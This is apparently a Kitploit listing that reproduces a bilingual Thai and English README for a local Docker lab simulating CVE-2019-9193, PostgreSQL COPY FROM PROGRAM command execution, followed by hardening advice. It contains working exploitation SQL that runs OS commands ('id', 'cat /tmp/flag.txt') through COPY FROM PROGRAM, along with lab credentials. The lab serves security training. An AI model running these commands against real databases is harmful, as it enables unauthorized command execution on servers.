Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2019-9193-Home-Lab — This lab simulates CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE | Kitploit
Tools/GitHubGitHub/netw0rk7/cve-2019-9193-home-lab
Vulnerability AnalysisExploitationPenetration TestingLearning & EducationDatabase SecurityLabs & Practice
GitHubnetw0rk7/cve-2019-9193-home-lab

CVE-2019-9193-Home-Lab

This lab simulates CVE-2019-9193 - PostgreSQL COPY FROM PROGRAM RCE

View Repository
8 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

ENGLISH BELOW

CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

CVE20199193-2

Lab นี้จำลองช่องโหว่ CVE-2019-9193 ที่เกิดใน PostgreSQL เวอร์ชัน 9.3 - 11.2 ซึ่งเปิดให้ user ที่เป็น superuser หรือมี role pg_execute_server_program สามารถใช้คำสั่ง:

root@kitploit:~
COPY ... FROM PROGRAM '<command>'

เพื่อรันคำสั่ง OS ได้โดยตรง ส่งผลให้เกิด Remote Command Execution (RCE) หากผู้โจมตีสามารถเข้าถึงฐานข้อมูลได้

Lab นี้ให้คุณใช้ความสามารถดังกล่าวเพื่ออ่านไฟล์:

root@kitploit:~
/tmp/flag.txt

เป้าหมายของ Lab

  1. เชื่อมต่อ PostgreSQL ด้วย:
    • User: postgres
    • Password: sentinel7
    • Port: 5433
  2. ใช้ COPY FROM PROGRAM เพื่อรันคำสั่ง OS
  3. อ่าน flag จาก /tmp/flag.txt

การเริ่มต้น

root@kitploit:~
docker compose build
docker compose up -d

จากนั้นเชื่อมต่อฐานข้อมูล:

root@kitploit:~
psql -U postgres -h 127.0.0.1 -p 5433

ขั้นตอนโจมตี

1) สร้างตารางเก็บ output

root@kitploit:~
CREATE TABLE cmd_exec(cmd_output text);

2) ทดสอบ RCE ด้วยคำสั่ง id

root@kitploit:~
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) อ่าน flag

root@kitploit:~
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

ตัวอย่าง output:

root@kitploit:~
flag{SECRET}

ข้อแนะนำด้านความปลอดภัย

  • ห้ามใช้ user postgres กับแอปจริง
  • จำกัด role ไม่ให้มี pg_execute_server_program
  • ปิดหรือจำกัดการใช้ COPY PROGRAM
  • ป้องกัน SQLi ในระบบทั้งหมด

ENGLISH VERSION

CVE-2019-9193 — PostgreSQL COPY FROM PROGRAM RCE

This lab simulates CVE-2019-9193, a PostgreSQL 9.3–11.2 vulnerability allowing:

root@kitploit:~
COPY ... FROM PROGRAM '<command>'

to execute OS commands when run by a superuser or a role with pg_execute_server_program.

Your task is to exploit this feature to read:

root@kitploit:~
/tmp/flag.txt

Objective

  1. Connect to PostgreSQL:
    • User: postgres
    • Password: sentinel7
    • Host port: 5433
  2. Use COPY FROM PROGRAM to:
    • Execute OS commands
    • Retrieve the flag

Getting Started

root@kitploit:~
docker compose build
docker compose up -d

Connect via:

root@kitploit:~
psql -U postgres -h 127.0.0.1 -p 5433

Exploitation

1) Create table

root@kitploit:~
CREATE TABLE cmd_exec(cmd_output text);

2) Test RCE

root@kitploit:~
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;

3) Read the flag

root@kitploit:~
TRUNCATE cmd_exec;
COPY cmd_exec FROM PROGRAM 'cat /tmp/flag.txt';
SELECT * FROM cmd_exec;

Security Notes

  • Never run applications using PostgreSQL superuser
  • Do not grant pg_execute_server_program unnecessarily
  • Disable or restrict COPY PROGRAM
  • Harden apps against SQL injection

Download Tool